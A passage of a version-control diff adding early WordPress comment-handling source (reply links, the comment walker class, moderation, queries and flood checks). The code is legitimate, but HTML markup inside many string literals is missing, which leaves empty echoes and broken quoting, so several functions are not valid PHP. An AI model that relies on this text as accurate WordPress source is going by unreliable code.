$wpcommentsjavascript; + + if (empty ($file)) { + $wpcommentspopupfile = ''; // Use the index. + } else { + $wpcommentspopupfile = $file; + } + + $wpcommentsjavascript = 1; + $javascript = "\n"; + echo $javascript; +} + +/** + * Displays the link to the comments popup window for the current post ID. + * + * Is not meant to be displayed on single posts and pages. Should be used on the + * lists of posts + * + * @since 0.71 + * @uses $id + * @uses $wpcommentspopupfile + * @uses $wpcommentsjavascript + * @uses $post + * + * @param string $zero The string to display when no comments + * @param string $one The string to display when only one comment is available + * @param string $more The string to display when there are more than one comment + * @param string $css_class The CSS class to use for comments + * @param string $none The string to display when comments have been turned off + * @return null Returns null on single posts and pages. + */ +function comments_popup_link( $zero = false, $one = false, $more = false, $css_class = '', $none = false ) { + global $id, $wpcommentspopupfile, $wpcommentsjavascript, $post; + + if ( false === $zero ) $zero = __( 'No Comments' ); + if ( false === $one ) $one = __( '1 Comment' ); + if ( false === $more ) $more = __( '% Comments' ); + if ( false === $none ) $none = __( 'Comments Off' ); + + $number = get_comments_number( $id ); + + if ( 0 == $number && !comments_open() && !pings_open() ) { + echo '' . $none . ''; + return; + } + + if ( post_password_required() ) { + echo __('Enter your password to view comments'); + return; + } + + echo ''; + comments_number( $zero, $one, $more, $number ); + echo ''; +} + +/** + * Retrieve HTML content for reply to comment link. + * + * The default arguments that can be override are 'add_below', 'respond_id', + * 'reply_text', 'login_text', and 'depth'. The 'login_text' argument will be + * used, if the user must log in or register first before posting a comment. The + * 'reply_text' will be used, if they can post a reply. The 'add_below' and + * 'respond_id' arguments are for the JavaScript moveAddCommentForm() function + * parameters. + * + * @since 2.7.0 + * + * @param array $args Optional. Override default options. + * @param int $comment Optional. Comment being replied to. + * @param int $post Optional. Post that the comment is going to be displayed on. + * @return string|bool|null Link to show comment form, if successful. False, if comments are closed. + */ +function get_comment_reply_link($args = array(), $comment = null, $post = null) { + global $user_ID; + + $defaults = array('add_below' => 'comment', 'respond_id' => 'respond', 'reply_text' => __('Reply'), + 'login_text' => __('Log in to Reply'), 'depth' => 0, 'before' => '', 'after' => ''); + + $args = wp_parse_args($args, $defaults); + + if ( 0 == $args['depth'] || $args['max_depth'] <= $args['depth'] ) + return; + + extract($args, EXTR_SKIP); + + $comment = get_comment($comment); + $post = get_post($post); + + if ( !comments_open($post->ID) ) + return false; + + $link = ''; + + if ( get_option('comment_registration') && !$user_ID ) + $link = ''; + else + $link = "comment_ID ) ) . "#" . $respond_id . "' onclick='return addComment.moveForm(\"$add_below-$comment->comment_ID\", \"$comment->comment_ID\", \"$respond_id\", \"$post->ID\")'>$reply_text"; + return apply_filters('comment_reply_link', $before . $link . $after, $args, $comment, $post); +} + +/** + * Displays the HTML content for reply to comment link. + * + * @since 2.7.0 + * @see get_comment_reply_link() Echoes result + * + * @param array $args Optional. Override default options. + * @param int $comment Optional. Comment being replied to. + * @param int $post Optional. Post that the comment is going to be displayed on. + * @return string|bool|null Link to show comment form, if successful. False, if comments are closed. + */ +function comment_reply_link($args = array(), $comment = null, $post = null) { + echo get_comment_reply_link($args, $comment, $post); +} + +/** + * Retrieve HTML content for reply to post link. + * + * The default arguments that can be override are 'add_below', 'respond_id', + * 'reply_text', 'login_text', and 'depth'. The 'login_text' argument will be + * used, if the user must log in or register first before posting a comment. The + * 'reply_text' will be used, if they can post a reply. The 'add_below' and + * 'respond_id' arguments are for the JavaScript moveAddCommentForm() function + * parameters. + * + * @since 2.7.0 + * + * @param array $args Optional. Override default options. + * @param int|object $post Optional. Post that the comment is going to be displayed on. Defaults to current post. + * @return string|bool|null Link to show comment form, if successful. False, if comments are closed. + */ +function get_post_reply_link($args = array(), $post = null) { + global $user_ID; + + $defaults = array('add_below' => 'post', 'respond_id' => 'respond', 'reply_text' => __('Leave a Comment'), + 'login_text' => __('Log in to leave a Comment'), 'before' => '', 'after' => ''); + + $args = wp_parse_args($args, $defaults); + extract($args, EXTR_SKIP); + $post = get_post($post); + + if ( !comments_open($post->ID) ) + return false; + + if ( get_option('comment_registration') && !$user_ID ) { + $link = '' . $login_text . ''; + } else { + $link = "$reply_text"; + } + return apply_filters('post_comments_link', $before . $link . $after, $post); +} + +/** + * Displays the HTML content for reply to post link. + * @since 2.7.0 + * @see get_post_reply_link() + * + * @param array $args Optional. Override default options. + * @param int|object $post Optional. Post that the comment is going to be displayed on. + * @return string|bool|null Link to show comment form, if successful. False, if comments are closed. + */ +function post_reply_link($args = array(), $post = null) { + echo get_post_reply_link($args, $post); +} + +/** + * Retrieve HTML content for cancel comment reply link. + * + * @since 2.7.0 + * + * @param string $text Optional. Text to display for cancel reply link. + */ +function get_cancel_comment_reply_link($text = '') { + if ( empty($text) ) + $text = __('Click here to cancel reply.'); + + $style = isset($_GET['replytocom']) ? '' : ' style="display:none;"'; + $link = esc_html( remove_query_arg('replytocom') ) . '#respond'; + return apply_filters('cancel_comment_reply_link', '' . $text . '', $link, $text); +} + +/** + * Display HTML content for cancel comment reply link. + * + * @since 2.7.0 + * + * @param string $text Optional. Text to display for cancel reply link. + */ +function cancel_comment_reply_link($text = '') { + echo get_cancel_comment_reply_link($text); +} + +/** + * Output hidden input HTML for replying to comments. + * + * @since 2.7.0 + */ +function comment_id_fields() { + global $id; + + $replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0; + echo "\n"; + echo "\n"; +} + +/** + * Display text based on comment reply status. Only affects users with Javascript disabled. + * + * @since 2.7.0 + * + * @param string $noreplytext Optional. Text to display when not replying to a comment. + * @param string $replytext Optional. Text to display when replying to a comment. Accepts "%s" for the author of the comment being replied to. + * @param string $linktoparent Optional. Boolean to control making the author's name a link to their comment. + */ +function comment_form_title( $noreplytext = false, $replytext = false, $linktoparent = TRUE ) { + global $comment; + + if ( false === $noreplytext ) $noreplytext = __( 'Leave a Reply' ); + if ( false === $replytext ) $replytext = __( 'Leave a Reply to %s' ); + + $replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0; + + if ( 0 == $replytoid ) + echo $noreplytext; + else { + $comment = get_comment($replytoid); + $author = ( $linktoparent ) ? '' . get_comment_author() . '' : get_comment_author(); + printf( $replytext, $author ); + } +} + +/** + * HTML comment list class. + * + * @package WordPress + * @uses Walker + * @since unknown + */ +class Walker_Comment extends Walker { + /** + * @see Walker::$tree_type + * @since unknown + * @var string + */ + var $tree_type = 'comment'; + + /** + * @see Walker::$db_fields + * @since unknown + * @var array + */ + var $db_fields = array ('parent' => 'comment_parent', 'id' => 'comment_ID'); + + /** + * @see Walker::start_lvl() + * @since unknown + * + * @param string $output Passed by reference. Used to append additional content. + * @param int $depth Depth of comment. + * @param array $args Uses 'style' argument for type of HTML list. + */ + function start_lvl(&$output, $depth, $args) { + $GLOBALS['comment_depth'] = $depth + 1; + + switch ( $args['style'] ) { + case 'div': + break; + case 'ol': + echo "
      \n"; + break; + default: + case 'ul': + echo "
        \n"; + break; + } + } + + /** + * @see Walker::end_lvl() + * @since unknown + * + * @param string $output Passed by reference. Used to append additional content. + * @param int $depth Depth of comment. + * @param array $args Will only append content if style argument value is 'ol' or 'ul'. + */ + function end_lvl(&$output, $depth, $args) { + $GLOBALS['comment_depth'] = $depth + 1; + + switch ( $args['style'] ) { + case 'div': + break; + case 'ol': + echo "
    \n"; + break; + default: + case 'ul': + echo "\n"; + break; + } + } + + /** + * @see Walker::start_el() + * @since unknown + * + * @param string $output Passed by reference. Used to append additional content. + * @param object $comment Comment data object. + * @param int $depth Depth of comment in reference to parents. + * @param array $args + */ + function start_el(&$output, $comment, $depth, $args) { + $depth++; + $GLOBALS['comment_depth'] = $depth; + + if ( !empty($args['callback']) ) { + call_user_func($args['callback'], $comment, $args, $depth); + return; + } + + $GLOBALS['comment'] = $comment; + extract($args, EXTR_SKIP); + + if ( 'div' == $args['style'] ) { + $tag = 'div'; + $add_below = 'comment'; + } else { + $tag = 'li'; + $add_below = 'div-comment'; + } +?> + < id="comment-"> + +
    + +
    + + %s says:'), get_comment_author_link()) ?> +
    +comment_approved == '0') : ?> + +
    + + + + + + +
    + $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?> +
    + +
    + +\n"; + else + echo "\n"; + } + +} + +/** + * List comments + * + * Used in the comments.php template to list comments for a particular post + * + * @since 2.7.0 + * @uses Walker_Comment + * + * @param string|array $args Formatting options + * @param array $comments Optional array of comment objects. Defaults to $wp_query->comments + */ +function wp_list_comments($args = array(), $comments = null ) { + global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop; + + $in_comment_loop = true; + + $comment_alt = $comment_thread_alt = 0; + $comment_depth = 1; + + $defaults = array('walker' => null, 'max_depth' => '', 'style' => 'ul', 'callback' => null, 'end-callback' => null, 'type' => 'all', + 'page' => '', 'per_page' => '', 'avatar_size' => 32, 'reverse_top_level' => null, 'reverse_children' => ''); + + $r = wp_parse_args( $args, $defaults ); + + // Figure out what comments we'll be looping through ($_comments) + if ( null !== $comments ) { + $comments = (array) $comments; + if ( empty($comments) ) + return; + if ( 'all' != $r['type'] ) { + $comments_by_type = &separate_comments($comments); + if ( empty($comments_by_type[$r['type']]) ) + return; + $_comments = $comments_by_type[$r['type']]; + } else { + $_comments = $comments; + } + } else { + if ( empty($wp_query->comments) ) + return; + if ( 'all' != $r['type'] ) { + if ( empty($wp_query->comments_by_type) ) + $wp_query->comments_by_type = &separate_comments($wp_query->comments); + if ( empty($wp_query->comments_by_type[$r['type']]) ) + return; + $_comments = $wp_query->comments_by_type[$r['type']]; + } else { + $_comments = $wp_query->comments; + } + } + + if ( '' === $r['per_page'] && get_option('page_comments') ) + $r['per_page'] = get_query_var('comments_per_page'); + + if ( empty($r['per_page']) ) { + $r['per_page'] = 0; + $r['page'] = 0; + } + + if ( '' === $r['max_depth'] ) { + if ( get_option('thread_comments') ) + $r['max_depth'] = get_option('thread_comments_depth'); + else + $r['max_depth'] = -1; + } + + if ( '' === $r['page'] ) { + if ( empty($overridden_cpage) ) { + $r['page'] = get_query_var('cpage'); + } else { + $threaded = ( -1 == $r['max_depth'] ) ? false : true; + $r['page'] = ( 'newest' == get_option('default_comments_page') ) ? get_comment_pages_count($_comments, $r['per_page'], $threaded) : 1; + set_query_var( 'cpage', $r['page'] ); + } + } + // Validation check + $r['page'] = intval($r['page']); + if ( 0 == $r['page'] && 0 != $r['per_page'] ) + $r['page'] = 1; + + if ( null === $r['reverse_top_level'] ) + $r['reverse_top_level'] = ( 'desc' == get_option('comment_order') ) ? TRUE : FALSE; + + extract( $r, EXTR_SKIP ); + + if ( empty($walker) ) + $walker = new Walker_Comment; + + $walker->paged_walk($_comments, $max_depth, $page, $per_page, $r); + $wp_query->max_num_comment_pages = $walker->max_pages; + + $in_comment_loop = false; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/comment.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/comment.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1868 @@ +]*[Hh][Rr][Ee][Ff]=['\"]([^\"'>]+)[^>]*>/", apply_filters('comment_text',$comment), $out) >= get_option('comment_max_links') ) + return false; // Check # of external links + + $mod_keys = trim(get_option('moderation_keys')); + if ( !empty($mod_keys) ) { + $words = explode("\n", $mod_keys ); + + foreach ( (array) $words as $word) { + $word = trim($word); + + // Skip empty lines + if ( empty($word) ) + continue; + + // Do some escaping magic so that '#' chars in the + // spam words don't break things: + $word = preg_quote($word, '#'); + + $pattern = "#$word#i"; + if ( preg_match($pattern, $author) ) return false; + if ( preg_match($pattern, $email) ) return false; + if ( preg_match($pattern, $url) ) return false; + if ( preg_match($pattern, $comment) ) return false; + if ( preg_match($pattern, $user_ip) ) return false; + if ( preg_match($pattern, $user_agent) ) return false; + } + } + + // Comment whitelisting: + if ( 1 == get_option('comment_whitelist')) { + if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll + $uri = parse_url($url); + $domain = $uri['host']; + $uri = parse_url( get_option('home') ); + $home_domain = $uri['host']; + if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain ) + return true; + else + return false; + } elseif ( $author != '' && $email != '' ) { + // expected_slashed ($author, $email) + $ok_to_comment = $wpdb->get_var("SELECT comment_approved FROM $wpdb->comments WHERE comment_author = '$author' AND comment_author_email = '$email' and comment_approved = '1' LIMIT 1"); + if ( ( 1 == $ok_to_comment ) && + ( empty($mod_keys) || false === strpos( $email, $mod_keys) ) ) + return true; + else + return false; + } else { + return false; + } + } + return true; +} + +/** + * Retrieve the approved comments for post $post_id. + * + * @since 2.0.0 + * @uses $wpdb + * + * @param int $post_id The ID of the post + * @return array $comments The approved comments + */ +function get_approved_comments($post_id) { + global $wpdb; + return $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1' ORDER BY comment_date", $post_id)); +} + +/** + * Retrieves comment data given a comment ID or comment object. + * + * If an object is passed then the comment data will be cached and then returned + * after being passed through a filter. If the comment is empty, then the global + * comment variable will be used, if it is set. + * + * If the comment is empty, then the global comment variable will be used, if it + * is set. + * + * @since 2.0.0 + * @uses $wpdb + * + * @param object|string|int $comment Comment to retrieve. + * @param string $output Optional. OBJECT or ARRAY_A or ARRAY_N constants. + * @return object|array|null Depends on $output value. + */ +function &get_comment(&$comment, $output = OBJECT) { + global $wpdb; + $null = null; + + if ( empty($comment) ) { + if ( isset($GLOBALS['comment']) ) + $_comment = & $GLOBALS['comment']; + else + $_comment = null; + } elseif ( is_object($comment) ) { + wp_cache_add($comment->comment_ID, $comment, 'comment'); + $_comment = $comment; + } else { + if ( isset($GLOBALS['comment']) && ($GLOBALS['comment']->comment_ID == $comment) ) { + $_comment = & $GLOBALS['comment']; + } elseif ( ! $_comment = wp_cache_get($comment, 'comment') ) { + $_comment = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment)); + if ( ! $_comment ) + return $null; + wp_cache_add($_comment->comment_ID, $_comment, 'comment'); + } + } + + $_comment = apply_filters('get_comment', $_comment); + + if ( $output == OBJECT ) { + return $_comment; + } elseif ( $output == ARRAY_A ) { + $__comment = get_object_vars($_comment); + return $__comment; + } elseif ( $output == ARRAY_N ) { + $__comment = array_values(get_object_vars($_comment)); + return $__comment; + } else { + return $_comment; + } +} + +/** + * Retrieve a list of comments. + * + * The comment list can be for the blog as a whole or for an individual post. + * + * The list of comment arguments are 'status', 'orderby', 'comment_date_gmt', + * 'order', 'number', 'offset', and 'post_id'. + * + * @since 2.7.0 + * @uses $wpdb + * + * @param mixed $args Optional. Array or string of options to override defaults. + * @return array List of comments. + */ +function get_comments( $args = '' ) { + global $wpdb; + + $defaults = array('status' => '', 'orderby' => 'comment_date_gmt', 'order' => 'DESC', 'number' => '', 'offset' => '', 'post_id' => 0); + + $args = wp_parse_args( $args, $defaults ); + extract( $args, EXTR_SKIP ); + + // $args can be whatever, only use the args defined in defaults to compute the key + $key = md5( serialize( compact(array_keys($defaults)) ) ); + $last_changed = wp_cache_get('last_changed', 'comment'); + if ( !$last_changed ) { + $last_changed = time(); + wp_cache_set('last_changed', $last_changed, 'comment'); + } + $cache_key = "get_comments:$key:$last_changed"; + + if ( $cache = wp_cache_get( $cache_key, 'comment' ) ) { + return $cache; + } + + $post_id = absint($post_id); + + if ( 'hold' == $status ) + $approved = "comment_approved = '0'"; + elseif ( 'approve' == $status ) + $approved = "comment_approved = '1'"; + elseif ( 'spam' == $status ) + $approved = "comment_approved = 'spam'"; + elseif ( 'trash' == $status ) + $approved = "comment_approved = 'trash'"; + else + $approved = "( comment_approved = '0' OR comment_approved = '1' )"; + + $order = ( 'ASC' == $order ) ? 'ASC' : 'DESC'; + + $orderby = 'comment_date_gmt'; // Hard code for now + + $number = absint($number); + $offset = absint($offset); + + if ( !empty($number) ) { + if ( $offset ) + $number = 'LIMIT ' . $offset . ',' . $number; + else + $number = 'LIMIT ' . $number; + + } else { + $number = ''; + } + + if ( ! empty($post_id) ) + $post_where = $wpdb->prepare( 'comment_post_ID = %d AND', $post_id ); + else + $post_where = ''; + + $comments = $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE $post_where $approved ORDER BY $orderby $order $number" ); + wp_cache_add( $cache_key, $comments, 'comment' ); + + return $comments; +} + +/** + * Retrieve all of the WordPress supported comment statuses. + * + * Comments have a limited set of valid status values, this provides the comment + * status values and descriptions. + * + * @package WordPress + * @subpackage Post + * @since 2.7.0 + * + * @return array List of comment statuses. + */ +function get_comment_statuses( ) { + $status = array( + 'hold' => __('Unapproved'), + /* translators: comment status */ + 'approve' => _x('Approved', 'adjective'), + /* translators: comment status */ + 'spam' => _x('Spam', 'adjective'), + ); + + return $status; +} + + +/** + * The date the last comment was modified. + * + * @since 1.5.0 + * @uses $wpdb + * @global array $cache_lastcommentmodified + * + * @param string $timezone Which timezone to use in reference to 'gmt', 'blog', + * or 'server' locations. + * @return string Last comment modified date. + */ +function get_lastcommentmodified($timezone = 'server') { + global $cache_lastcommentmodified, $wpdb; + + if ( isset($cache_lastcommentmodified[$timezone]) ) + return $cache_lastcommentmodified[$timezone]; + + $add_seconds_server = date('Z'); + + switch ( strtolower($timezone)) { + case 'gmt': + $lastcommentmodified = $wpdb->get_var("SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1"); + break; + case 'blog': + $lastcommentmodified = $wpdb->get_var("SELECT comment_date FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1"); + break; + case 'server': + $lastcommentmodified = $wpdb->get_var($wpdb->prepare("SELECT DATE_ADD(comment_date_gmt, INTERVAL %s SECOND) FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1", $add_seconds_server)); + break; + } + + $cache_lastcommentmodified[$timezone] = $lastcommentmodified; + + return $lastcommentmodified; +} + +/** + * The amount of comments in a post or total comments. + * + * A lot like {@link wp_count_comments()}, in that they both return comment + * stats (albeit with different types). The {@link wp_count_comments()} actual + * caches, but this function does not. + * + * @since 2.0.0 + * @uses $wpdb + * + * @param int $post_id Optional. Comment amount in post if > 0, else total comments blog wide. + * @return array The amount of spam, approved, awaiting moderation, and total comments. + */ +function get_comment_count( $post_id = 0 ) { + global $wpdb; + + $post_id = (int) $post_id; + + $where = ''; + if ( $post_id > 0 ) { + $where = $wpdb->prepare("WHERE comment_post_ID = %d", $post_id); + } + + $totals = (array) $wpdb->get_results(" + SELECT comment_approved, COUNT( * ) AS total + FROM {$wpdb->comments} + {$where} + GROUP BY comment_approved + ", ARRAY_A); + + $comment_count = array( + "approved" => 0, + "awaiting_moderation" => 0, + "spam" => 0, + "total_comments" => 0 + ); + + foreach ( $totals as $row ) { + switch ( $row['comment_approved'] ) { + case 'spam': + $comment_count['spam'] = $row['total']; + $comment_count["total_comments"] += $row['total']; + break; + case 1: + $comment_count['approved'] = $row['total']; + $comment_count['total_comments'] += $row['total']; + break; + case 0: + $comment_count['awaiting_moderation'] = $row['total']; + $comment_count['total_comments'] += $row['total']; + break; + default: + break; + } + } + + return $comment_count; +} + +// +// Comment meta functions +// + +/** + * Add meta data field to a comment. + * + * @since 2.9 + * @uses add_metadata + * @link http://codex.wordpress.org/Function_Reference/add_comment_meta + * + * @param int $comment_id Comment ID. + * @param string $key Metadata name. + * @param mixed $value Metadata value. + * @param bool $unique Optional, default is false. Whether the same key should not be added. + * @return bool False for failure. True for success. + */ +function add_comment_meta($comment_id, $meta_key, $meta_value, $unique = false) { + return add_metadata('comment', $comment_id, $meta_key, $meta_value, $unique); +} + +/** + * Remove metadata matching criteria from a comment. + * + * You can match based on the key, or key and value. Removing based on key and + * value, will keep from removing duplicate metadata with the same key. It also + * allows removing all metadata matching key, if needed. + * + * @since 2.9 + * @uses delete_metadata + * @link http://codex.wordpress.org/Function_Reference/delete_comment_meta + * + * @param int $comment_id comment ID + * @param string $meta_key Metadata name. + * @param mixed $meta_value Optional. Metadata value. + * @return bool False for failure. True for success. + */ +function delete_comment_meta($comment_id, $meta_key, $meta_value = '') { + return delete_metadata('comment', $comment_id, $meta_key, $meta_value); +} + +/** + * Retrieve comment meta field for a comment. + * + * @since 2.9 + * @uses get_metadata + * @link http://codex.wordpress.org/Function_Reference/get_comment_meta + * + * @param int $comment_id Comment ID. + * @param string $key The meta key to retrieve. + * @param bool $single Whether to return a single value. + * @return mixed Will be an array if $single is false. Will be value of meta data field if $single + * is true. + */ +function get_comment_meta($comment_id, $key, $single = false) { + return get_metadata('comment', $comment_id, $key, $single); +} + +/** + * Update comment meta field based on comment ID. + * + * Use the $prev_value parameter to differentiate between meta fields with the + * same key and comment ID. + * + * If the meta field for the comment does not exist, it will be added. + * + * @since 2.9 + * @uses update_metadata + * @link http://codex.wordpress.org/Function_Reference/update_comment_meta + * + * @param int $comment_id Comment ID. + * @param string $key Metadata key. + * @param mixed $value Metadata value. + * @param mixed $prev_value Optional. Previous value to check before removing. + * @return bool False on failure, true if success. + */ +function update_comment_meta($comment_id, $meta_key, $meta_value, $prev_value = '') { + return update_metadata('comment', $comment_id, $meta_key, $meta_value, $prev_value); +} + +/** + * Sanitizes the cookies sent to the user already. + * + * Will only do anything if the cookies have already been created for the user. + * Mostly used after cookies had been sent to use elsewhere. + * + * @since 2.0.4 + */ +function sanitize_comment_cookies() { + if ( isset($_COOKIE['comment_author_'.COOKIEHASH]) ) { + $comment_author = apply_filters('pre_comment_author_name', $_COOKIE['comment_author_'.COOKIEHASH]); + $comment_author = stripslashes($comment_author); + $comment_author = esc_attr($comment_author); + $_COOKIE['comment_author_'.COOKIEHASH] = $comment_author; + } + + if ( isset($_COOKIE['comment_author_email_'.COOKIEHASH]) ) { + $comment_author_email = apply_filters('pre_comment_author_email', $_COOKIE['comment_author_email_'.COOKIEHASH]); + $comment_author_email = stripslashes($comment_author_email); + $comment_author_email = esc_attr($comment_author_email); + $_COOKIE['comment_author_email_'.COOKIEHASH] = $comment_author_email; + } + + if ( isset($_COOKIE['comment_author_url_'.COOKIEHASH]) ) { + $comment_author_url = apply_filters('pre_comment_author_url', $_COOKIE['comment_author_url_'.COOKIEHASH]); + $comment_author_url = stripslashes($comment_author_url); + $_COOKIE['comment_author_url_'.COOKIEHASH] = $comment_author_url; + } +} + +/** + * Validates whether this comment is allowed to be made or not. + * + * @since 2.0.0 + * @uses $wpdb + * @uses apply_filters() Calls 'pre_comment_approved' hook on the type of comment + * @uses do_action() Calls 'check_comment_flood' hook on $comment_author_IP, $comment_author_email, and $comment_date_gmt + * + * @param array $commentdata Contains information on the comment + * @return mixed Signifies the approval status (0|1|'spam') + */ +function wp_allow_comment($commentdata) { + global $wpdb; + extract($commentdata, EXTR_SKIP); + + // Simple duplicate check + // expected_slashed ($comment_post_ID, $comment_author, $comment_author_email, $comment_content) + $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND comment_approved != 'trash' AND ( comment_author = '$comment_author' "; + if ( $comment_author_email ) + $dupe .= "OR comment_author_email = '$comment_author_email' "; + $dupe .= ") AND comment_content = '$comment_content' LIMIT 1"; + if ( $wpdb->get_var($dupe) ) { + if ( defined('DOING_AJAX') ) + die( __('Duplicate comment detected; it looks as though you’ve already said that!') ); + + wp_die( __('Duplicate comment detected; it looks as though you’ve already said that!') ); + } + + do_action( 'check_comment_flood', $comment_author_IP, $comment_author_email, $comment_date_gmt ); + + if ( isset($user_id) && $user_id) { + $userdata = get_userdata($user_id); + $user = new WP_User($user_id); + $post_author = $wpdb->get_var($wpdb->prepare("SELECT post_author FROM $wpdb->posts WHERE ID = %d LIMIT 1", $comment_post_ID)); + } + + if ( isset($userdata) && ( $user_id == $post_author || $user->has_cap('moderate_comments') ) ) { + // The author and the admins get respect. + $approved = 1; + } else { + // Everyone else's comments will be checked. + if ( check_comment($comment_author, $comment_author_email, $comment_author_url, $comment_content, $comment_author_IP, $comment_agent, $comment_type) ) + $approved = 1; + else + $approved = 0; + if ( wp_blacklist_check($comment_author, $comment_author_email, $comment_author_url, $comment_content, $comment_author_IP, $comment_agent) ) + $approved = 'spam'; + } + + $approved = apply_filters('pre_comment_approved', $approved); + return $approved; +} + +/** + * Check whether comment flooding is occurring. + * + * Won't run, if current user can manage options, so to not block + * administrators. + * + * @since 2.3.0 + * @uses $wpdb + * @uses apply_filters() Calls 'comment_flood_filter' filter with first + * parameter false, last comment timestamp, new comment timestamp. + * @uses do_action() Calls 'comment_flood_trigger' action with parameters with + * last comment timestamp and new comment timestamp. + * + * @param string $ip Comment IP. + * @param string $email Comment author email address. + * @param string $date MySQL time string. + */ +function check_comment_flood_db( $ip, $email, $date ) { + global $wpdb; + if ( current_user_can( 'manage_options' ) ) + return; // don't throttle admins + $hour_ago = gmdate( 'Y-m-d H:i:s', time() - 3600 ); + if ( $lasttime = $wpdb->get_var( $wpdb->prepare( "SELECT `comment_date_gmt` FROM `$wpdb->comments` WHERE `comment_date_gmt` >= %s AND ( `comment_author_IP` = %s OR `comment_author_email` = %s ) ORDER BY `comment_date_gmt` DESC LIMIT 1", $hour_ago, $ip, $email ) ) ) { + $time_lastcomment = mysql2date('U', $lasttime, false); + $time_newcomment = mysql2date('U', $date, false); + $flood_die = apply_filters('comment_flood_filter', false, $time_lastcomment, $time_newcomment); + if ( $flood_die ) { + do_action('comment_flood_trigger', $time_lastcomment, $time_newcomment); + + if ( defined('DOING_AJAX') ) + die( __('You are posting comments too quickly. Slow down.') ); + + wp_die( __('You are posting comments too quickly. Slow down.'), '', array('response' => 403) ); + } + } +} + +/** + * Separates an array of comments into an array keyed by comment_type. + * + * @since 2.7.0 + * + * @param array $comments Array of comments + * @return array Array of comments keyed by comment_type. + */ +function &separate_comments(&$comments) { + $comments_by_type = array('comment' => array(), 'trackback' => array(), 'pingback' => array(), 'pings' => array()); + $count = count($comments); + for ( $i = 0; $i < $count; $i++ ) { + $type = $comments[$i]->comment_type; + if ( empty($type) ) + $type = 'comment'; + $comments_by_type[$type][] = &$comments[$i]; + if ( 'trackback' == $type || 'pingback' == $type ) + $comments_by_type['pings'][] = &$comments[$i]; + } + + return $comments_by_type; +} + +/** + * Calculate the total number of comment pages. + * + * @since 2.7.0 + * @uses get_query_var() Used to fill in the default for $per_page parameter. + * @uses get_option() Used to fill in defaults for parameters. + * @uses Walker_Comment + * + * @param array $comments Optional array of comment objects. Defaults to $wp_query->comments + * @param int $per_page Optional comments per page. + * @param boolean $threaded Optional control over flat or threaded comments. + * @return int Number of comment pages. + */ +function get_comment_pages_count( $comments = null, $per_page = null, $threaded = null ) { + global $wp_query; + + if ( null === $comments && null === $per_page && null === $threaded && !empty($wp_query->max_num_comment_pages) ) + return $wp_query->max_num_comment_pages; + + if ( !$comments || !is_array($comments) ) + $comments = $wp_query->comments; + + if ( empty($comments) ) + return 0; + + if ( !isset($per_page) ) + $per_page = (int) get_query_var('comments_per_page'); + if ( 0 === $per_page ) + $per_page = (int) get_option('comments_per_page'); + if ( 0 === $per_page ) + return 1; + + if ( !isset($threaded) ) + $threaded = get_option('thread_comments'); + + if ( $threaded ) { + $walker = new Walker_Comment; + $count = ceil( $walker->get_number_of_root_elements( $comments ) / $per_page ); + } else { + $count = ceil( count( $comments ) / $per_page ); + } + + return $count; +} + +/** + * Calculate what page number a comment will appear on for comment paging. + * + * @since 2.7.0 + * @uses get_comment() Gets the full comment of the $comment_ID parameter. + * @uses get_option() Get various settings to control function and defaults. + * @uses get_page_of_comment() Used to loop up to top level comment. + * + * @param int $comment_ID Comment ID. + * @param array $args Optional args. + * @return int|null Comment page number or null on error. + */ +function get_page_of_comment( $comment_ID, $args = array() ) { + global $wpdb; + + if ( !$comment = get_comment( $comment_ID ) ) + return; + + $defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '' ); + $args = wp_parse_args( $args, $defaults ); + + if ( '' === $args['per_page'] && get_option('page_comments') ) + $args['per_page'] = get_query_var('comments_per_page'); + if ( empty($args['per_page']) ) { + $args['per_page'] = 0; + $args['page'] = 0; + } + if ( $args['per_page'] < 1 ) + return 1; + + if ( '' === $args['max_depth'] ) { + if ( get_option('thread_comments') ) + $args['max_depth'] = get_option('thread_comments_depth'); + else + $args['max_depth'] = -1; + } + + // Find this comment's top level parent if threading is enabled + if ( $args['max_depth'] > 1 && 0 != $comment->comment_parent ) + return get_page_of_comment( $comment->comment_parent, $args ); + + $allowedtypes = array( + 'comment' => '', + 'pingback' => 'pingback', + 'trackback' => 'trackback', + ); + + $comtypewhere = ( 'all' != $args['type'] && isset($allowedtypes[$args['type']]) ) ? " AND comment_type = '" . $allowedtypes[$args['type']] . "'" : ''; + + // Count comments older than this one + $oldercoms = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = 0 AND comment_approved = '1' AND comment_date_gmt < '%s'" . $comtypewhere, $comment->comment_post_ID, $comment->comment_date_gmt ) ); + + // No older comments? Then it's page #1. + if ( 0 == $oldercoms ) + return 1; + + // Divide comments older than this one by comments per page to get this comment's page number + return ceil( ( $oldercoms + 1 ) / $args['per_page'] ); +} + +/** + * Does comment contain blacklisted characters or words. + * + * @since 1.5.0 + * @uses do_action() Calls 'wp_blacklist_check' hook for all parameters. + * + * @param string $author The author of the comment + * @param string $email The email of the comment + * @param string $url The url used in the comment + * @param string $comment The comment content + * @param string $user_ip The comment author IP address + * @param string $user_agent The author's browser user agent + * @return bool True if comment contains blacklisted content, false if comment does not + */ +function wp_blacklist_check($author, $email, $url, $comment, 